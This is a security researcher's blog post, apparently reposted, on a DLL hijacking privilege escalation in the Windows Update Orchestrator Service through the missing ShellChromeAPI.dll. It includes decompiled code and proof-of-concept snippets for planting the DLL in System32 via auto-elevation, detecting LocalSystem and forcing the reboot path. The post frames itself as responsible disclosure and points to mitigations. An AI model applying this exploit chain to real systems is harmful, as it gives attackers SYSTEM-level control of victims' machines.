标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3172] 作者: 大猪 发表于: [2022-09-04] [2022-09-04]被用户:大猪 修改过
本文共 [657] 位读者顶过
PrefaceThis one doesn't go any simpler than this. Remember DLL hijacking kids? That thing that we used to do in Windows XP? Well, it's now 2021 and that technique is still around. Moreover, at times the hijacked application happens to be one of the important processes in the system that is supposed to provide security for the operating system - Windows Update Service, also known as "Update Session Orchestrator Service". So read below for our overview of the bug, our accompanying research and ways of exploitation, as well as how we can mitigate this bug. Note that this bug, along with the demonstration PoC, was submitted to Microsoft on September 3, 2020, following responsible disclosure guidelines. This blog post became available for the public only after Microsoft refused to fix this bug, and we provided our proposed ways of mitigation. And lastly, if you're not into reading and just want to see this bug in action, skip to the video demonstration. The ResearchWhile researching material for our previous blog post on indefinitely postponing updates on Windows 10, Rbmm and I happened to come across an interesting chunk of code. The goal of our research was to locate the part of the code responsible for automatic restart of the operating system after installation of updates. We were trying to prevent those automatic restarts. There are basically three functions that could reboot the system from the user mode: InitiateShutdown, with a more dumbed-down counterpart InitiateSystemShutdownEx, that both call the undocumented function advapi32!WsdpInitiateShutdown: C
DWORD WINAPI WsdpInitiateShutdown( LPWSTR lpMachineName, UNICODE_STRING* Message, DWORD dwGracePeriod, DWORD dwShutdownFlags, DWORD dwReason); And ExitWindowsEx, that is designed to be called from a process running under an interactive user account. It doesn't do any of the shut-down work itself, but instead it relegates it to CSRSS via CsrClientCallServer call. Having done some breakpoint magic, Rbmm was able to determine that the automatic rebooting after installation of Windows 10 updates could be done in two places. From the MusNotificationUx.exe UI process and inside USOsvc.dll, which is the main executable module for the Windows Update Service. Judging by the set of methods, it seems like both modules use the same code base. The internal function that was initiating a reboot in them was called RebootWithFlags. And the restart itself is done using the expected InitiateShutdownW API as such: C++ pseudocode from Ghidra
NTSTATUS RebootHelper::RebootWithFlags(ULONG /*dwShutdownFlags*/, ULONG /*dwMilliseconds*/) { NTSTATUS status; NTSTATUS status_2; DWORD dwResult; //Enable SE_SHUTDOWN_PRIVILEGE status = AdjustProcessPrivilege(0, true); if (status >= 0) { if (ShellReboot() >= 0) { Sleep(120000); //Wait for 2 minutes, hah!? } //0x2087 = SHUTDOWN_FORCE_OTHERS | SHUTDOWN_FORCE_SELF | SHUTDOWN_RESTART | SHUTDOWN_RESTARTAPPS | SHUTDOWN_ARSO //0x80020010 = SHTDN_REASON_FLAG_PLANNED | SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SERVICEPACK dwResult = InitiateShutdownW(NULL, NULL, 0, 0x2087, 0x80020010); if ((dwResult == 0) || (dwResult == 0x45b)) //0x45b = ERROR_SHUTDOWN_IN_PROGRESS { Sleep(-1); //Hang.... status = 0x8024a11a; } else { status = HRESULT_FROM_WIN32(dwResult); } //Revert back SE_SHUTDOWN_PRIVILEGE AdjustProcessPrivilege(0, false); } return status; } On the side note: What was also interesting is that the initial prototype of this function was RebootHelper::RebootWithFlags, as I showed above. It was written in C. But in the latest versions of Windows 10 Insider Preview it looks like Microsoft has re-written it in C++11 (with some of its internal debugging components.) So now that function is declared as Windows::RebootWithFlags, although the main logic inside hasn't changed significantly.[出自:jiwo.org] Raw C++11 pseudocode from Ghidra
void Windows::RebootWithFlags(UINT reserved, duration<__int64,struct_std::ratio<1,1000>_> wait_duration) { shared_ptrsSrvc; BOOLEAN cRes3; DWORD dwResult; void **pplVar; size_t duration; shared_ptrlocalService1; shared_ptrlocalService2; runtime_error rtError; AdjustProcessPrivilege(0, true); sSrvc = GetSystem((Service *)localService2); //Call to member functions of 'sSrvc' & 'pplVar' using Extended Control Flow Guard - XFG pplVar = __guard_xfg_dispatch_icall_fptr(*(sSrvc->vTable + 0x40), *(void**)sSrvc, &localService1); cRes3 = __guard_xfg_dispatch_icall_fptr(*(pplVar->vTable + 0x38), *(void**)pplVar); ~shared_ptr(localService1); ~shared_ptr(localService2); if (cRes3 == 0) { ShellReboot(); duration = 2; sleep_for<int,struct_std::ratio<60,1>_>((duration<int,struct_std::ratio<60,1>_> *)&duration); } //0x2087 = SHUTDOWN_FORCE_OTHERS | SHUTDOWN_FORCE_SELF | SHUTDOWN_RESTART | SHUTDOWN_RESTARTAPPS | SHUTDOWN_ARSO //0x80020010 = SHTDN_REASON_FLAG_PLANNED | SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SERVICEPACK dwResult = InitiateShutdownW(0, 0, 0, 0x2087, 0x80020010); if ((dwResult != 0) && (dwResult != 0x45b)) //0x45b = ERROR_SHUTDOWN_IN_PROGRESS { wil::details::in1diag3::_Throw_Win32(0x7f, "onecore\\enduser\\windowsupdate\\muse\\orchestrator\\system\\windows\\servicesystem\\reboot.cpp", dwResult); DebugBreak(); // int 3 return; } sleep_for<__int64,struct_std::ratio<1,1000>_>((duration<__int64,struct_std::ratio<1,1000>_> *)&wait_duration); runtime_error(rtError, "Reboot timed out"); _CxxThrowException(rtError, (ThrowInfo *)&AVlogic_error); } So let's forget about more complex C++ code snippet and instead concentrate on a simpler C sample (the first one above) as all those constructors and destructors that came with the C++ code are just distracting for our purpose. Code ReviewAt first glance there's nothing unusual with what they are doing there. The call to internal function AdjustProcessPrivilege enables the SE_SHUTDOWN_NAME privilege for the process, which is needed to initiate a restart. Then the call to InitiateShutdownW initiates the reboot itself. Since that function works asynchronously the execution returns back to us. If we succeed, or if the shutdown is already in progress, the function enters an infinite waiting loop with the call to Sleep(-1). Otherwise, it reverts the SE_SHUTDOWN_NAME privilege in the second call to AdjustProcessPrivilege and exits. While reviewing it though, we also noticed that the code called another internal function ShellReboot. We checked that as well. Here's what it does: C++ pseudocode from Ghidra
NTSTATUS ShellReboot(void) { HMODULE hModule; FARPROC pFunc; NTSTATUS status; //0x800 = LOAD_LIBRARY_SEARCH_SYSTEM32 hModule = LoadLibraryExW(L"ShellChromeAPI.dll", NULL, 0x800); if (hModule == NULL) { status = HRESULT_FROM_WIN32(GetLastError()); } else { pFunc = GetProcAddress(hModule, "Shell_RequestShutdown"); if (pFunc == NULL) { status = HRESULT_FROM_WIN32(GetLastError()); } else { //Call function in loaded DLL (*pFunc)(1); status = 0; } FreeLibrary(hModule); } return status; } Again, at first glance this looked like a normal call to a function inside a DLL that was resolved dynamically, or during a run-time. This is a normal technique of invoking a function that may not be available on all systems. If ShellChromeAPI.dll is not available, a call to LoadLibraryEx, or GetProcAddress will return NULL and Shell_RequestShutdown will not be called. But loading DLLs like that comes with a risk of a vulnerability known as "DLL Hijacking". It has existed since early days of Windows 2000, or maybe even earlier. Rbmm was the first one to check, and to his amazement he discovered that the DLL that the ShellReboot function was attempting to load wasn't present. (I admit that I was slower to catch on.) That was a classic case of DLL hijacking. The DangerIf an attacker is able to hijack a function inside the Windows Update Service, this will have the following ramifications:
DLL HijackingFor some weird reason the ShellChromeAPI.dll no longer exists in the System32 directory. We tried searching for any information about it online, and a few sparse references to that DLL indicated that it might have been used at some point to provide functionality for now defunct Windows Phone. It also seems like after that product was phased out, Microsoft, no doubt maintaining a common code base for Windows, removed that DLL from the System32 folder. But they did not remove the function that was loading that DLL. Their code continued to work - for instance, the LoadLibraryExW in the ShellReboot function would return NULL, or failure, and the entire function would also fail with the error code 0x8007007E, or "The specified module could not be found". And thus, my guess is that during their testing it didn't raise any red flags since it didn't break anything. But it created a vulnerability for a hijack. Since ShellChromeAPI.dll no longer existed in the System32 directory, due to a very convoluted way Microsoft loads DLLs, anyone could place their own version of that module in some writable location, modify the PATH directory to point to it, and then have Windows Update Service load and execute the code in it from their own ShellReboot function. But as you can see above, while attempting to load the ShellChromeAPI.dll module, Microsoft implemented one way of protecting against DLL hijacking by specifying the LOAD_LIBRARY_SEARCH_SYSTEM32 flag: LOAD_LIBRARY_SEARCH_SYSTEM32 So that stops an easy hijack. But it still doesn't keep their head above the water yet. "Auto-Elevation Mechanism"Windows is a very complicated and legacy-bound system. At times you may find some old component, or technique that is so outdated and weird that it makes you wonder, "Why, Microsoft? Why!" Here's one example of such technique, that was called "Auto-Elevation Mechanism" described by Mark Russinovich back in 2006. It would basically allow a user running with implicit administrative rights to bypass UAC elevation prompts when copying files into a system folder, if such files did not exist before. I guess it was done for convenience, hah? But if you think about it, this is exactly what we need to place our fake ShellChromeAPI.dll into the System32 directory to complete the DLL hijacking. The ExploitOur Proof-of-Concept (PoC) project that we submitted to MSRC as our responsible disclosure bug report consisted of several steps to gain local privilege escalation: Deploying Fake ShellChromeAPI.dllThe first step was to copy our fake ShellChromeAPI.dll into the System32 directory. We couldn't obviously call CopyFileEx from our PoC process, as it wasn't running elevated. That would return ERROR_ACCESS_DENIED. But, we could use the "Auto-Elevation Technique", mentioned above, to bypass it. But for that to work, our code had to be running in the system process. Mark Russinovich implied that such could be achieved with the use of code (or DLL) injection. But Rbmm recommended a different approach. Why not "fake" our DLL to load itself into RegSvr32 as if it was an OLE control registration. All we need to do is to create a DllRegisterServer exported function from within our ShellChromeAPI.dll and call RegSvr32 on it. C++
extern "C" HRESULT WINAPI DllRegisterServer() { //Fake OLE registration function //All we need is for it to be running from within a system process, i.e. RegSvr32 return S_OK; } That will make our code run in the system process, i.e. RegSvr32. Next we can implement the "Auto-Elevation Technique" from within it to copy our own file into the System32 folder. To know where our DLL is, we can do: C++
WCHAR buffSelf[MAX_PATH] = {}; GetModuleFileName((HMODULE)&__ImageBase, buffSelf, _countof(buffSelf)); And then use IShellItem to get our destination: C++
HRESULT hr IShellItem* psiDestinationFolder = NULL; PIDLIST_ABSOLUTE pidl; if(FAILED(SHGetKnownFolderIDList(FOLDERID_System, KF_FLAG_DONT_VERIFY | KF_FLAG_SIMPLE_IDLIST, 0, &pidl)) __leave; hr = SHCreateItemFromIDList(pidl, IID_PPV_ARGS(&psiDestinationFolder)); ILFree(pidl); if(FAILED(hr)) __leave; //... psiDestinationFolder->Release(); Then use IFileOperation to copy our DLL into the system folder: C++
//IFileOperation *pFileOp; pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR| FOF_FILESONLY | FOFX_EARLYFAILURE | FOF_RENAMEONCOLLISION); if(FAILED(pFileOp->NewItem(psiDestinationFolder, 0, L"ShellChromeAPI.dll", buffSelf, 0))) __leave; if(FAILED(pFileOp->PerformOperations())) __leave; BOOL bFail; if(FAILED(pFileOp->GetAnyOperationsAborted(&bFail))) __leave; if(!bFail) __leave; DbgPrint("Dll has been deployed!\n"); There's a slight caveat for the code above. If the ShellChromeAPI.dll file already existed in the System32 folder, the IFileOperation will create a renamed copy of it, which we obviously don't want. (This may happen if we re-run the exploit again.) Additionally, a condition for the "Auto-Elevation Technique" to work surreptitiously is for the Windows user, that runs our PoC, to be a default administrator. Such default administrator account is created immediately after installation of Windows. But realistically speaking, how many people change user accounts after installation of OS? At this point, if malicious ShellChromeAPI.dll is deployed in the System32 directory, an attacker can only sit and wait for the Windows to install updates and reboot. And knowing how "anal" Microsoft is about forcing reboots after installing updates, he or she doesn't have to wait long... In case of our PoC we didn't want to wait for the next update, so Rbmm found a way to force the ShellReboot function to be called on demand via undocumented IUxUpdateManager or IUxUpdateManager2 interfaces and their RebootToCompleteInstall functions. The Prep WorkThere's one more thing that needs to be accounted, for this exploit to work. Knowing that Microsoft probably reused their code in more than one module, we discovered that the same ShellReboot function also existed in other places. For instance, a helper UI process, called MusNotificationUx, that is responsible for displaying those (annoying) update notifications, also had ShellReboot function in it. But unlike USOsvc.dll, that was executing as LocalSystem, the MusNotificationUx wasn't. Thus we weren't interested in injecting our code into it. We can easily determine whether or not our code is running with the LocalSystem privileges from within our hijacked Shell_RequestShutdown function: C++
extern "C" UINT WINAPI Shell_RequestShutdown(UINT nValue) { BOOL bHaveSystemToken = FALSE; HANDLE hToken; if(SUCCEEDED(NtOpenProcessToken(NtCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))) { TOKEN_STATISTICS ts; ULONG uiDummy; if(SUCCEEDED(NtQueryInformationToken(hToken, TokenStatistics, &ts, sizeof(ts), &uiDummy))) { //#define SYSTEM_LUID { 0x3e7, 0x0 } static const LUID SystemLuid = SYSTEM_LUID; if (ts.AuthenticationId.LowPart == SystemLuid.LowPart && ts.AuthenticationId.HighPart == SystemLuid.HighPart) { //We are running as LocalSystem! bHaveSystemToken = TRUE; } } NtClose(hToken); } return 0; } But that presented another small challenge. What shall we do if our injected process was not running as LocalSystem? Say, for instance, if our code was called from within MusNotificationUx process. We obviously don't want that process to go ahead with the restart if we haven't deployed our exploit yet. (Keep in mind that initiating a reboot is not a privileged operation, so MusNotificationUx can do it by itself.) The way Microsoft coded this process also played in our favor. What Rbmm had discovered is that MusNotificationUx attempts to initiate a restart first, and if that fails with a special exit code MACHINE_LOCKED, then the Update service waits for 5 minutes and initiates the reboot itself. And that is what we want! The only housekeeping we needed to take care of was to ensure that the restart doesn't succeed in MusNotificationUx. There were certain steps that we needed to take in our hijacked Shell_RequestShutdown to accomplish that: C++
if(!bHaveSystemToken) { //We're not running as LocalSystem //Let's check that we're running from interactive session (this will include MusNotificationUx) if(GetShellWindow()) { //#define SE_SHUTDOWN_PRIVILEGE (19L) static const TOKEN_PRIVILEGES tp_No_Shutdown = { 1, { { { SE_SHUTDOWN_PRIVILEGE } } } }; //Remove SE_SHUTDOWN_PRIVILEGE privilege, so InitiateShutdown will fail NtAdjustPrivilegesToken(hToken, FALSE, (PTOKEN_PRIVILEGES)&tp_No_Shutdown, 0, 0, 0); //And also kill self with a special error code static const ULONG MACHINE_LOCKED = 0x80000000 | (FACILITY_WIN32 << 16) | ERROR_MACHINE_LOCKED; ExitProcess(MACHINE_LOCKED); } } The PayloadAnd finally, if we detect that we are running as LocalSystem, we deploy our actual payload. In case of our PoC we just displayed the obligatory whoami command: MitigationAfter we discovered this bug in September of 2020 and submitted it to Microsoft and they refused to fix it. As a result of that we worked on our own solution for how to patch this vulnerability. I wrote a separate blog post on the subject, as well as Rbmm (read it here) that will provide ways to mitigate it. |